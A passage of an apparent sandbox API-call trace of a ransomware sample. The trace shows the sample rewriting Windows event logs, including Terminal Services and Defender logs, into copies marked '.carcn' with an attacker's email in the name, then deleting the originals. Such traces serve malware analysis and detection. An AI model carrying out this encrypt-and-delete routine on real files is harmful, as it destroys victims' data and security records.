[0181.631] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.631] lstrlenW (lpString=".xls") returned 4 [0181.632] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.632] lstrlenW (lpString=".xlsx") returned 5 [0181.632] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.632] lstrlenW (lpString=".ppt") returned 4 [0181.632] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.632] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0181.632] lstrlenW (lpString=".zip") returned 4 [0181.632] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.632] lstrlenW (lpString=".rar") returned 4 [0181.632] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.632] lstrlenW (lpString=".bz2") returned 4 [0181.632] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.632] lstrlenW (lpString=".7z") returned 3 [0181.632] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.632] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0181.632] lstrlenW (lpString=".dbf") returned 4 [0181.632] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.632] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0181.632] lstrlenW (lpString=".1cd") returned 4 [0181.632] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.632] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0181.632] lstrlenW (lpString=".jpg") returned 4 [0181.632] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.632] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0181.632] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66 [0181.632] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0181.633] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0181.633] CloseHandle (hObject=0x374) returned 1 [0181.633] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0181.633] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.633] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0181.633] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.633] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.633] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0181.633] GetLastError () returned 0x0 [0181.633] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0181.663] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0181.665] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.665] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x158, lpOverlapped=0x0) returned 1 [0181.665] SetEndOfFile (hFile=0x370) returned 1 [0181.667] CloseHandle (hObject=0x370) returned 1 [0181.673] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.673] SetEndOfFile (hFile=0x374) returned 1 [0181.674] CloseHandle (hObject=0x374) returned 1 [0181.674] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0181.676] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1 [0181.676] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0181.676] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0181.676] lstrlenW (lpString=".doc") returned 4 [0181.676] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.676] lstrlenW (lpString=".docx") returned 5 [0181.676] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.676] lstrlenW (lpString=".pdf") returned 4 [0181.676] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.677] lstrlenW (lpString=".xls") returned 4 [0181.677] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.677] lstrlenW (lpString=".xlsx") returned 5 [0181.677] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.677] lstrlenW (lpString=".ppt") returned 4 [0181.677] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.677] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0181.677] lstrlenW (lpString=".zip") returned 4 [0181.677] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.677] lstrlenW (lpString=".rar") returned 4 [0181.677] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.677] lstrlenW (lpString=".bz2") returned 4 [0181.677] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.677] lstrlenW (lpString=".7z") returned 3 [0181.677] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.677] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0181.677] lstrlenW (lpString=".dbf") returned 4 [0181.677] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.677] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0181.677] lstrlenW (lpString=".1cd") returned 4 [0181.677] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.677] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0181.677] lstrlenW (lpString=".jpg") returned 4 [0181.677] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.677] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0181.677] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0181.677] lstrlenW (lpString=".doc") returned 4 [0181.677] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.677] lstrlenW (lpString=".docx") returned 5 [0181.677] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.678] lstrlenW (lpString=".pdf") returned 4 [0181.678] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.678] lstrlenW (lpString=".xls") returned 4 [0181.678] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.678] lstrlenW (lpString=".xlsx") returned 5 [0181.678] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.678] lstrlenW (lpString=".ppt") returned 4 [0181.678] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.678] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0181.678] lstrlenW (lpString=".zip") returned 4 [0181.678] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.678] lstrlenW (lpString=".rar") returned 4 [0181.678] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.678] lstrlenW (lpString=".bz2") returned 4 [0181.678] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.678] lstrlenW (lpString=".7z") returned 3 [0181.678] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.678] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0181.678] lstrlenW (lpString=".dbf") returned 4 [0181.678] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.678] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0181.678] lstrlenW (lpString=".1cd") returned 4 [0181.678] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.678] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0181.678] lstrlenW (lpString=".jpg") returned 4 [0181.678] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.678] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0181.678] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70 [0181.679] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0181.904] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0181.904] CloseHandle (hObject=0x310) returned 1 [0181.904] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0181.904] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.912] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.912] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.913] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.913] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0181.934] GetLastError () returned 0x0 [0181.934] ReadFile (in: hFile=0x2e0, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0182.176] WriteFile (in: hFile=0x310, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0182.177] ReadFile (in: hFile=0x2e0, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.177] WriteFile (in: hFile=0x310, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x160, lpOverlapped=0x0) returned 1 [0182.177] SetEndOfFile (hFile=0x310) returned 1 [0182.197] CloseHandle (hObject=0x310) returned 1 [0182.200] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.200] SetEndOfFile (hFile=0x2e0) returned 1 [0182.201] CloseHandle (hObject=0x2e0) returned 1 [0182.201] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.202] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1 [0182.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0182.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0182.202] lstrlenW (lpString=".doc") returned 4 [0182.202] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.202] lstrlenW (lpString=".docx") returned 5 [0182.202] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.202] lstrlenW (lpString=".pdf") returned 4 [0182.202] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.202] lstrlenW (lpString=".xls") returned 4 [0182.202] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.202] lstrlenW (lpString=".xlsx") returned 5 [0182.202] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.202] lstrlenW (lpString=".ppt") returned 4 [0182.202] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0182.202] lstrlenW (lpString=".zip") returned 4 [0182.202] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.202] lstrlenW (lpString=".rar") returned 4 [0182.202] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.202] lstrlenW (lpString=".bz2") returned 4 [0182.202] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.202] lstrlenW (lpString=".7z") returned 3 [0182.203] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.203] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0182.203] lstrlenW (lpString=".dbf") returned 4 [0182.203] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.203] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0182.203] lstrlenW (lpString=".1cd") returned 4 [0182.203] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.203] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0182.203] lstrlenW (lpString=".jpg") returned 4 [0182.203] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.203] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0182.203] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0182.203] lstrlenW (lpString=".doc") returned 4 [0182.203] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.203] lstrlenW (lpString=".docx") returned 5 [0182.203] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.203] lstrlenW (lpString=".pdf") returned 4 [0182.203] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.203] lstrlenW (lpString=".xls") returned 4 [0182.203] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.203] lstrlenW (lpString=".xlsx") returned 5 [0182.203] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.203] lstrlenW (lpString=".ppt") returned 4 [0182.203] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.203] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0182.203] lstrlenW (lpString=".zip") returned 4 [0182.203] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.203] lstrlenW (lpString=".rar") returned 4 [0182.203] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.203] lstrlenW (lpString=".bz2") returned 4 [0182.203] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.203] lstrlenW (lpString=".7z") returned 3 [0182.203] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.204] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0182.204] lstrlenW (lpString=".dbf") returned 4 [0182.204] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.204] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0182.204] lstrlenW (lpString=".1cd") returned 4 [0182.204] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.204] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0182.204] lstrlenW (lpString=".jpg") returned 4 [0182.204] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.204] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0182.204] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52 [0182.204] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.204] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0182.204] CloseHandle (hObject=0x2e0) returned 1 [0182.204] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0182.204] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.205] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.205] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.205] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.205] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0182.205] GetLastError () returned 0x0 [0182.205] ReadFile (in: hFile=0x2e0, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0182.326] WriteFile (in: hFile=0x310, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0182.327] ReadFile (in: hFile=0x2e0, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.327] WriteFile (in: hFile=0x310, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x13c, lpOverlapped=0x0) returned 1 [0182.328] SetEndOfFile (hFile=0x310) returned 1 [0182.328] CloseHandle (hObject=0x310) returned 1 [0182.329] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.329] SetEndOfFile (hFile=0x2e0) returned 1 [0182.330] CloseHandle (hObject=0x2e0) returned 1 [0182.331] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.331] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1 [0182.331] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0182.331] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0182.331] lstrlenW (lpString=".doc") returned 4 [0182.331] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.331] lstrlenW (lpString=".docx") returned 5 [0182.331] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.331] lstrlenW (lpString=".pdf") returned 4 [0182.331] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.331] lstrlenW (lpString=".xls") returned 4 [0182.332] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.332] lstrlenW (lpString=".xlsx") returned 5 [0182.332] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.332] lstrlenW (lpString=".ppt") returned 4 [0182.332] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.332] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0182.332] lstrlenW (lpString=".zip") returned 4 [0182.332] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.332] lstrlenW (lpString=".rar") returned 4 [0182.332] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.332] lstrlenW (lpString=".bz2") returned 4 [0182.332] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.332] lstrlenW (lpString=".7z") returned 3 [0182.332] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.332] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0182.332] lstrlenW (lpString=".dbf") returned 4 [0182.332] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.332] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0182.332] lstrlenW (lpString=".1cd") returned 4 [0182.332] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.332] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0182.332] lstrlenW (lpString=".jpg") returned 4 [0182.332] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.332] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0182.332] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0182.332] lstrlenW (lpString=".doc") returned 4 [0182.332] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.332] lstrlenW (lpString=".docx") returned 5 [0182.332] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.332] lstrlenW (lpString=".pdf") returned 4 [0182.332] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.332] lstrlenW (lpString=".xls") returned 4 [0182.332] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.332] lstrlenW (lpString=".xlsx") returned 5 [0182.333] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.333] lstrlenW (lpString=".ppt") returned 4 [0182.333] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0182.333] lstrlenW (lpString=".zip") returned 4 [0182.333] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.333] lstrlenW (lpString=".rar") returned 4 [0182.333] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.333] lstrlenW (lpString=".bz2") returned 4 [0182.333] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.333] lstrlenW (lpString=".7z") returned 3 [0182.333] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0182.333] lstrlenW 